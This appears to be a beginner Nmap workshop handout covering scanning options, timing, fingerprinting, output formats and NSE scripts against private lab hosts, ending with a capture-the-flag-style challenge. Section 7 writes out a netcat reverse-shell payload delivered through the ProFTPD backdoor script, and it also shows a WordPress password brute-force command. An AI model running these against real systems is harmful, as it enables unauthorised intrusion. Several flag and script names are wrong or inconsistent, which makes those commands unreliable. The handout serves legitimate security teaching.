Nmap 101 - DC435

Disclaimer: This document is only for education purposes. Before scanning a network, always ask for consent.

1 Introduction

Nmap ("Network Mapper") is a free an open-source utility for network discovery and security auditing.

Nmap can determine:

- what hosts are available on the network,
- what services those hosts are offering,
- what operating systems they are running,
- what type of pachet filters/firewalls are in use.

Nmap allows us to know how the network really is as opposed to how it should be.

2 Basic Usage

2.1 Command sintax

```
# nmap [Scan Type] [Options] {targets}
```

Targets can be:

- URLs,
- list of IP addresses,
- network addresses in CDIR,
- mix of previous,
- from a file.

2.2 Examples

```
# nmap 192.168.56.16
```

This will ping the host, then scan the top-1000 most used TCP ports.

```
# nmap 192.168.56.0/24
```

This will ping and then scan for the top-1000 most used TCP ports, but for the entire subnetwork. Depending on your network, and your user's privileges you will find more or less machines on. This is probably due to the fact that nmap uses different discovery techniques.

```
# nmap 192.168.56.16-19
```

This is equal to the previous example. In this case, we use a list of IP addresses.

```
# nmap -iL targets.txt
```

This will ping and then scan the top-1000 most used TCP ports, based on the hosts in the list.

3 Modifying the standard scan

There are different types of options, the ones related to ports allow us to:

- change the number of top ports to scan,
- specify ports to be scanned,
- show only open ports,
- scan UDP ports.

3.1 Examples

```
# nmap --top-ports 10 192.168.56.16
```

This allows us to scan only the top-10 most common ports.

```
# nmap -F 192.168.56.16
```

This will scan the top-100 ports. This is called a fast scan.

```
# nmap -p- 192.168.56.16
```

This will scann all ports in the target.

```
# nmap -p22,80,443 192.168.56.17
```

This allows us to scan only specific ports.

```
# nmap --open -p22,80,443 192.168.56.17
```

This allows us to show only the open ports. It will not show filtered ports.

```
# nmap -sU --top-ports 10 192.168.56.16
```

This will scan the top-10 most used UDP ports.

4 Timing

Nmap automatically controlls the speed of the scan based on network congestion. However, we can overwrite this with `-T0` (paranoid), `-T1` (sneaky), `-T2` (polite), `-T3` (normal), `-T4` (aggressive), `-T5` (insane).

4.1 Examples

```
# nmap -T5 192.168.56.16
# nmap -T0 192.168.56.16
```

In these examples we can compare the time that nmap takes to complete both scans. When scanning a VM, the time difference might be very small.

5 Getting more information from nmap

The additional information we can get from nmap includes:

- OS fingerprinting,
- service name and version,
- vulnerabilities

5.1 Examples

`# nmap -O 192.168.56.16`
This will perform OS fingerprinting.

`# nmap -sV 192.168.56.16`
This will perform service name and version detection.

`# nmap -sC 192.168.56.16`
This will get additional information from services.

`# nmap -A 192.168.56.16`
This will perform all the previous examples, plus a traceroute.

6 Saving the output

Nmap allows us to save the output in different formats
`# nmap [-oN|-oX|-oG] <filename> {targets}`
Where:

- `-oN` is for regular files,
- `-oX` is for XML files,
- `-oG` is for greppable files.

6.1 Examples

`# nmap -oG results.txt 192.168.56.16`

7 Scripts

Scripts extends the behavior of nmap. Scripts are run after open ports have been discovered.

Scripts allows us to:

- Get additional information (-C),
- find categories of vulnerabilities,
- find specific vulnerabilities.

The `-C` option runs a set of scripts categorized as default. Some of these scripts are considered intrusive.
To run a script we use:
`# nmap --script=<script> [--script-args=<script arguments>] {target}`

7.1 Examples

`# nmap --script=vuln 192.168.56.16`
This will run all the scripts in the category vulnerability against the target.

`# nmap --script="http-robots*" 192.168.56.16`
This will show the content of the robots.txt file.

`# nmap -sV --script="ftp-proftpd-backd*" 192.168.56.19`
This will verify if the target is vulnerable to a specific vulnerability.

`# nmap -sV --script="ftp-proftpd-back*" --script-args="cmd=ls" 192.168.56.19`
This will list the content of a directory. We do this by modifying the arguments of the script.

```
# nmap -sV --script="ftp-proftpd-back*"
--script-args="cmd=rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444
>/tmp/f" 192.168.56.19
```
This will generate a remote connection back to the attacker machine. You will need to have a netcat listener at port 4444 in your host machine. In Kali linux, you can use `nc -lvnp 4444` in a different terminal.

`# nmap -sV --script="ftp-wordpress-brute*" --script-args="passdb=./dict.txt"`
This will bruteforce a wordpres login and show matching passwords. You will need to have a dictionary `dic.txt` with the password you want nmap to try. Kali Linux has plenty of dictionaries in `/usr/share/seclists/Passwords`

8 Challenge

1. Identify the hidden port in 192.168.56.19.
2. Identify the name of the service and version in the hidden port.
3. Identify if the service is vulnerable to an exploit.
4. Obtain a remote shell by changing the script arguments.

References

[1] `https://nmap.org`

[2] `# man nmap`

[3] `https://nmap.org/nsedoc/index.html`

[4] `https://nmap.org/book`

[5] Marsh, Nicholas. *Nmap 6 Cookbook: The Fat-Free Guide to Network Scanning.*2015